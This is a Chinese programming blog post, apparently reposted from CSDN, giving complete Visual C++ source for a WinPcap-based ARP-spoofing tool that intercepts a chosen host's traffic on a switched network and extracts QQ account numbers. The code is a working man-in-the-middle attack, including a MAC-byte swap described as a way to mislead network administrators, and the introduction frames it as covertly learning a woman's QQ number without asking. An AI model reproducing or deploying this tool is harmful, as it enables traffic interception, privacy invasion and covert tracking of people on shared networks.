基于visual c++之windows核心编程代码分析（47）实现交换网络的QQ号嗅探

当我们在一个交换网络里面，不知道别人的QQ号码是个很痛苦的事情，假如一个ＰＬＭＭ在上网，你却不知道她得ＱＱ也没有勇气去问，是个很可惜的事情，

至于我们搞编程的，可以通过交换机的数据交换，嗅探出ＱＱ号，因为ＱＱ数据里面唯独ＱＱ号码不加密。

#include "stdafx.h"
#include "pcap.h"
#include <stdio.h>
#include "Iphlpapi.h"
#include "protocol.h"

#pragma comment(lib,"wpcap.lib")
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib,"wsock32.lib")
#define PCAP_OPENFLAG_PROMISCUOUS 1

DWORD dwMyIp,dwGateIp,dwSubnet,dwDstIp;
UCHAR uMyMac[6],uGateMac[6],uDstMac[6];
pcap_t *adhandle;
int nCount = 0;//用于执行三次获取网关MAC的操作
bool bGateMac = true;
bool bDstMac =  true;

void SendArpRequest(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uSrcMac[]);
int SendPacket(char *pBuffer, int nLen);

/* 每次捕获到数据包时，libpcap都会自动调用这个回调函数 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
    ETHeader *pETHdr = (ETHeader *)pkt_data;
    if(ntohs(pETHdr->type) == ETH_TYPE_ARP)
    {
        if(header->len < sizeof(ArpPacket)) return;
        ARPHeader *pArpHdr = (ARPHeader *)((char *)pkt_data+sizeof(ETHeader));
        if(ntohs(pArpHdr->opcode) == ARPOP_REPLY)
        {
            if(pArpHdr->daddr == dwMyIp && pArpHdr->saddr == dwGateIp && bGateMac)
            {
                if(nCount == 0)
                {
                    memcpy(uGateMac,pArpHdr->smac,6);
                    nCount ++;
                }else if(nCount == 3)//完成获取网关MAC
                {
                    bGateMac = false;
                    return;
                }else{
                    if(!memcmp(uGateMac,pArpHdr->smac,6))
                    {
                        nCount ++;
                    }else{
                        nCount = 0;
                    }
                }
                SendArpRequest(dwGateIp,dwMyIp,uMyMac);
            }
            if(pArpHdr->daddr == dwMyIp && pArpHdr->saddr == dwDstIp && bDstMac)
            {
                memcpy(uDstMac,pArpHdr->smac,6);
                bDstMac = false;
            }
        }
    }
    if(ntohs(pETHdr->type) == ETH_TYPE_IP)
    {
        IpHeader *pIpHdr = (IpHeader *)((char*)pkt_data+sizeof(ETHeader));
        if(pIpHdr->Protocol == PROTOCOL_UDP)
        {
            if(header->len <  sizeof(ETHeader) + sizeof(IpHeader) + sizeof(UdpHeader)) return;
            UdpHeader *pUdpHdr = (UdpHeader *)((char*)pIpHdr+sizeof(IpHeader));
            if(ntohs(pUdpHdr->SrcPort) == 8000)
            {
                QQHeader *pQQHdr = (QQHeader *)((char*)pUdpHdr+sizeof(UdpHeader));
                if(pQQHdr->Flag != 0x02) return;//不是qq数据包
                UCHAR uQQ[4];
                memcpy(uQQ,pQQHdr->Data,4);
                DWORD dwQQ = 0;
                for(int i=0;i<4;i++)
                {
                    dwQQ = dwQQ*256+uQQ[i];
                }
                printf("找到IP：%s的QQ号：%u\n",inet_ntoa(*(in_addr*)&pIpHdr->DstAddr),dwQQ);
            }
        }
        if(pIpHdr->DstAddr == dwDstIp && memcmp(pETHdr->dhost,uDstMac,6))//目的IP为要嗅探的IP，但是目的MAC不是对方的MAC
        {
            pETHdr->shost[5] ++;//源MAC不能设为网关MAC，否则会出现交换机欺骗，从而其它主机也无法上网
            memcpy(pETHdr->dhost,uDstMac,6);
            SendPacket((char*)pkt_data,header->len);
        }
    }
}


int SendPacket(char *pBuffer, int nLen)
{
    if(pcap_sendpacket(adhandle,(UCHAR *)pBuffer,nLen)) return 0;
    return 1;
}

void SendArpRequest(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uSrcMac[])
{
    ArpPacket *pArpPacket = new ArpPacket;
    for(int i =0;i<6;i++)
        pArpPacket->eth.dhost[i] = 0xFF;
    memcpy(pArpPacket->eth.shost,uSrcMac,6);
    pArpPacket->eth.type = ntohs(ETH_TYPE_ARP);
    pArpPacket->arp.hrd = ntohs(ARPHRD_ETHER);
    pArpPacket->arp.eth_type = ntohs(ETH_TYPE_IP);
    pArpPacket->arp.maclen = 6;
    pArpPacket->arp.iplen = 4;
    pArpPacket->arp.opcode = ntohs(ARPOP_REQUEST);
    memcpy(pArpPacket->arp.smac,uSrcMac,6);
    pArpPacket->arp.saddr = dwSrcIP;
    memset(pArpPacket->arp.dmac,0,6);
    pArpPacket->arp.daddr = dwDesIP;
    SendPacket((char*)pArpPacket,sizeof(ArpPacket));
    delete pArpPacket;
}

void SendArpReply(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uDesMac[], UCHAR uSrcMac[])
{
    ArpPacket *pArpPacket = new ArpPacket;
    memcpy(pArpPacket->eth.dhost,uDesMac,6);
    memcpy(pArpPacket->eth.shost,uSrcMac,6);
    pArpPacket->eth.type = ntohs(ETH_TYPE_ARP);
    pArpPacket->arp.hrd = ntohs(ARPHRD_ETHER);
    pArpPacket->arp.eth_type = ntohs(ETH_TYPE_IP);
    pArpPacket->arp.maclen = 6;
    pArpPacket->arp.iplen = 4;
    pArpPacket->arp.opcode = ntohs(ARPOP_REPLY);
    memcpy(pArpPacket->arp.smac,uSrcMac,6);
    pArpPacket->arp.saddr = dwSrcIP;
    memcpy(pArpPacket->arp.dmac,uDesMac,6);
    pArpPacket->arp.daddr = dwDesIP;
    SendPacket((char*)pArpPacket,sizeof(ArpPacket));
    delete pArpPacket;
}

int WINAPI MyThread(LPVOID Param)
{
//  Sleep(100);
    SendArpRequest(dwGateIp,dwMyIp,uMyMac);
    while(1)
    {
        if(bGateMac)
        {
            ::Sleep(100);
            continue;
        }
        break;
    }
    printf("网关MAC为：%02X-%02X-%02X-%02X-%02X-%02X\n",uGateMac[0],uGateMac[1],uGateMac[2],uGateMac[3],uGateMac[4],uGateMac[5]);
    printf("输入要嗅探的IP地址：");
    char ip[20];
    scanf("%s",ip);
    dwDstIp = inet_addr(ip);
    SendArpRequest(dwDstIp,dwMyIp,uMyMac);
    while(1)
    {
        if(bDstMac)
        {
            ::Sleep(100);
            continue;
        }
        break;
    }
    printf("目标MAC为：%02X-%02X-%02X-%02X-%02X-%02X\n",uDstMac[0],uDstMac[1],uDstMac[2],uDstMac[3],uDstMac[4],uDstMac[5]);
    printf("输入每秒发送欺骗包的个数：1-50\n");
    int nSpeed;
    scanf("%d",&nSpeed);
    UCHAR uMac[6];
    uMac[0] = uDstMac[0];
    uMac[1] = uDstMac[1];
    uMac[2] = uDstMac[3];
    uMac[3] = uDstMac[2];//交换MAC的第三和第四个字节，迷惑管理员
    uMac[4] = uDstMac[4];
    uMac[5] = uDstMac[5];
    while(1)
    {
        SendArpReply(dwGateIp,inet_addr(ip),uGateMac,uMac);
        Sleep(1000/nSpeed);
    }
    return 0;
}

int GetNetConfig(DWORD dwIp)
{
    PIP_ADAPTER_INFO pAdapterInfo = NULL;
    ULONG ulLen = 0;

    // 为适配器结构申请内存
    ::GetAdaptersInfo(pAdapterInfo,&ulLen);
    pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen);

    // 取得本地适配器结构信息
    if(::GetAdaptersInfo(pAdapterInfo,&ulLen) ==  ERROR_SUCCESS)
    {
        while(pAdapterInfo != NULL)
        {
            if(dwIp == inet_addr(pAdapterInfo->IpAddressList.IpAddress.String))
            {
                dwMyIp = dwIp;
                memcpy(uMyMac,pAdapterInfo->Address,6);
                dwSubnet = inet_addr(pAdapterInfo->IpAddressList.IpMask.String);
dwGateIp = inet_addr(pAdapterInfo->GatewayList.IpAddress.String);
                //              CEther::SetGateWayAddr(inet_addr(pAdapterInfo->GatewayList.IpAddress.String),"");
                printf("本机IP地址为：%s\n本机MAC为：%02X-%02X-%02X-%02X-%02X-%02X\n网关IP地址为：%s\n",
                    pAdapterInfo->IpAddressList.IpAddress.String,
                    uMyMac[0],uMyMac[1],uMyMac[2],uMyMac[3],uMyMac[4],uMyMac[5],
                    pAdapterInfo->GatewayList.IpAddress.String);
                return 1;
            }
            pAdapterInfo = pAdapterInfo->Next;
        }
        return 0;
    }
    return -1;
}
int main(int argc, char* argv[])
{
    pcap_if_t *alldevs;
    pcap_if_t *d;
    int i = 0;
    char errbuf[PCAP_ERRBUF_SIZE];

    /* Retrieve the device list from the local machine*/
    if (pcap_findalldevs(&alldevs, errbuf) == -1)
    {
        printf("Error in pcap_findalldevs_ex: %s\n", errbuf);
        exit(1);
    }

    /* Print the list */
    for (d = alldevs; d != NULL; d = d->next)
    {
        /* Print the device’s name */
        printf("%d. %s", ++ i, d->name);

        /* Print the device’s dscription */
        if (d->description)
        {
            printf("(%s)\n", d->description);
        }
        else
        {
            printf("(No description available)\n");
        }
    }

    if (i == 0)
    {
        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
        return -1;
    }
    printf("Enter the interface number (1-%d):",i);
    int nIdx;
    scanf("%d", &nIdx);

    if(nIdx < 1 || nIdx > i)
    {
        printf("\nInterface number out of range.\n");
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return -1;
    }

    /* 跳转到选中的适配器 */
    for(d=alldevs, i=0; i< nIdx-1 ;d=d->next, i++);

    /* 打开设备 */
    if((adhandle= pcap_open_live(d->name,          // 设备名
        65536,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
        PCAP_OPENFLAG_PROMISCUOUS,     // 混杂模式
        10,             // 读取超时时间
        errbuf            // 错误缓冲池
        )) == NULL)
    {
        fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return -1;
    }

    printf("\nlistening on %s...\n", d->description);

    GetNetConfig(((sockaddr_in *)(d->addresses->addr))->sin_addr.S_un.S_addr);
    /* 释放设备列表 */
    pcap_freealldevs(alldevs);

    ::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MyThread,NULL,0,0);
    /* 开始捕获 */
    pcap_loop(adhandle, 0, packet_handler, NULL);
    return 0;
}

 

原文地址：http://blog.csdn.net/yincheng01/article/details/7214422